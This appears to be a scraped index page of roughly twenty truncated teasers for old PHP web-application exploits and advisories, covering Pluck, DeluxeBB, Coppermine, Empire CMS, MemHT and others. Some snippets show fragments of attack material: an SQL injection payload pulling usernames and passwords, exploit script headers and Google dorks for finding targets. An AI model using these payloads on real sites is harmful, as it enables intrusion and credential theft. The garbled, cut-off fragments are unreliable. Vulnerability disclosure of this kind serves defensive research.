[ONSEC-09-017] Blogolet PHP including

ONSEC-09-017 Blogolet PHP including Цель: Blogolet CMS Тип: PHP инъекция Угроза: Высокая Дата обнаружения: 21.09.2009 Дата оповещения разработчика: 21.09.2009 Дата выхода исправления: 21.09.2009 Автор: Vladimir Vorontsov OnSec Russian Security Group onsec dot ru Описание: Уязвимость существует...

Ignition 1.2 Code Execution

Ignition Remote Code Execution AUTHOR : Sina Yazdanmehr R3d.W0rm Discovered by : Sina Yazdanmehr R3d.W0rm Our Site : http://IrCrash.com My Official WebSite : http://R3dW0rm.ir IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm Sina Yazdanmehr Download :...

Empire CMS message Board vulnerability-vulnerability warning-the black bar safety net

Dark gray dropped out of the 0day. Find used Empire CMS station,the site behind a directly applied:e/tool/gbook/? bid=1 For example: www.xxx.com/e/tool/gbook/?bid=1 Out is Empire CMS the guestbook,in the name of writing:缞\ Contact email at: ,1,1,1,select concatusername,0x5f,password,0x5f,rnd from...

Mlffat 2.2 - Blind SQL Injection

?php iniset"maxexecutiontime",0; printr' || || | || o,7 || . o7 || q||| o///, : / / . /QQQQQQQQQQQQQQQQQQQ\ q Mlffat 2.2 Blind SQL Inj. /QQQ/\QQQ\ /QQQQQ/ \QQQQQQ\ q Cookie 3 /QQQQ/ QQQQ\ /QQQQ/ \QQQQ\ q http://www.mlffat.com |QQQQ/ By Qabandi \QQQQ| |QQQQ| |QQQQ| |QQQQ| From Kuwait, PEACE...

Coppermine Photo Gallery 1.4.22 - SQL Injection

!/usr/bin/perl Coppermine Photo Gallery '; banner; $lwp-defaultheader'Accept-Language: en-us,en;q=0.5'; my $html = injrequest' WHERE x'; Wrong query to obtain an error ifnot defined $html print "- Request mistake. Exploit terminated!\n"; exit ; elsif$html = /There was an error while processing a...

LightBlog 9.9.2 - 'register.php' Remote Code Execution

"; 74. 75. $fd = fopen $newaccountfile, "w"; 76. chmod$newacc...

PJblog V3. 0 0day-vulnerability warning-the black bar safety net

Original link: ? php / PJblog V3. 0 0day exp code by small Roach&bink www.0kee.com www.t00ls.net 09.04.22 / $url="http://www.pjhome.net"; //inject the address $varname="puterjam"; //administrator $varkey="checkright"; if $SESSION"LenI" $LenI=$SESSION"LenI"; else $LenI=1; for$i=$LenI;$i=4 0;$i++...

Pixie CMS - Cross-Site Scripting / SQL Injection

Pixie CMS Multiple Vulnerabilities Pixie is a "free, open source web application that will help you quickly create your own website. Many people refer to this type of software as a 'content management system cms'" http://www.getpixie.co.uk. Pixie is written in PHP with a MySQL database back end...

MemHT Portal 4.0.1 - Delete All Private Messages

MemHT Portal 4.0.1 - Delete All Private Messages !/usr/bin/perl MemHT Portal query"DELETE FROM memhtpvtmsg WHERE id=$value"; if isset$POST'deletepm' foreach $POST'deletepm' as $value $dblink-query"DELETE FROM memhtpvtmsg WHERE id=$value"; ? ok then foreach $POST'deletenewpm' as $value deletenewpm...

MemHT Portal 4.0.1 - Delete All Private Messages

!/usr/bin/perl MemHT Portal query"DELETE FROM memhtpvtmsg WHERE id=$value"; if isset$POST'deletepm' foreach $POST'deletepm' as $value $dblink-query"DELETE FROM memhtpvtmsg WHERE id=$value"; ? ok then foreach $POST'deletenewpm' as $value deletenewpm= $value ; so if we send a evil code like this: 1...

Smarty 2.6.20 php injection

2008-10-22 числа Secunia.com была найдена уязвимость в функции expandquotedtext полный текст http://secunia.com/Advisories/32329/. Разработчики попытались исправить уязвимость как видно из их кода http://smarty-php.googlecode.com/svn/trunk/libs/SmartyCompiler.class.php путем экранированием символ...

Yoxel <= 1.23beta (itpm_estimate.php a) Remote Code Execution Vuln

No description provided by source. :::::::-. ... ::::::. :::. ;;, ';, ;; ;;;;;;;, ;;; ' . ' $$, $$$$ $$$ $$$ "Y$c$$ 888,o8P'88 .d888 888 Y88 MMMMP" "YmmMMMM"" MMM YM Discovered by dun \ dunatstrcpy.pl Yoxel = 1.23beta PHP code Injection Vulnerability Script: "Yoxel is a hidden gem. This Open Sour...

Pluck 4.5.3 (update.php) Remote File Corruption Exploit

No description provided by source. ?php / Pluck 4.5.3 update.php remote file corruption exploit by Nine:Situations:Group::bookoo our site: http://retrogod.altervista.org/ Google dorks: "powered by pluck" +admin inurl:file=kop1.php inurl:file=kop2.php ... Exploit condition : registerglobals = on...

Pluck CMS 4.5.3 - update.php Remote File Corruption

Pluck CMS 4.5.3 - update.php Remote File Corruption "; copy"data/title.dat", "data/settings/title.dat"; unlink"data/settings/install.dat"; copy"data/install.dat", "data/settings/install.dat"; copy"data/options.php", "data/settings/options.php"; copy"data/pass.php", "data/settings/pass.php";...

pluck-corruption.txt

"; copy"data/title.dat", "data/settings/title.dat"; unlink"data/settings/install.dat"; copy"data/install.dat", "data/settings/install.dat"; copy"data/options.php", "data/settings/options.php"; copy"data/pass.php", "data/settings/pass.php"; unlink"data/settings/langpref.php";...

Pluck CMS 4.5.3 - 'update.php' Remote File Corruption

"; copy"data/title.dat", "data/settings/title.dat"; unlink"data/settings/install.dat"; copy"data/install.dat", "data/settings/install.dat"; copy"data/options.php", "data/settings/options.php"; copy"data/pass.php", "data/settings/pass.php"; unlink"data/settings/langpref.php";...

Vulnerability: SocialEngine (SocialEngine.net) high risk security flaw

SECURITY ADVISORY CS-2008-2 Vulnerability: Improper validation of external parameters Vendor: SocialEngine http://www.socialengine.net Affected versions: 2.83 Risk: High I. DESCRIPTION Improper validation of browser cookies leads to complete control over client host. II. BACKGROUND During client...

Php injection point construct-vulnerability warning-the black bar safety net

Php injection point configuration Put the following saved into a Test.php ? $mysqlservername = "localhost"; $mysqlusername = "root"; $mysqlpassword = "password"; $mysqldatabase = "phpzr"; //?? ݿ?? $conn=mysqlconnect $mysqlservername, $mysqlusername, $mysqlpassword ;...

DeluxeBB <= 1.2 Multiple Remote Vulnerabilities Exploit

No description provided by source. ?php / ------------------------------------------------------- DeluxeBB = 1.2 Multiple Remote Vulnerabilities Exploit ------------------------------------------------------- author...: EgiX mail.....: n0b0d13satgmaildotcom link.....: http://www.deluxebb.com/...

deluxebb12-multi.txt

query"SELECT COUNTtid FROM ".$prefix."threads WHERE lastpostdate='$posttime' && fid='$fid'"; 125. $nrows = $db-result$rows; 126. 127. $pageinfo = multipage$nrows, $page, $settings'tppf', "forums.php?fid=$fid"; 128. 129. include$templatefolder.'/forumsheader.dtf'; 130. 131. //get and format all...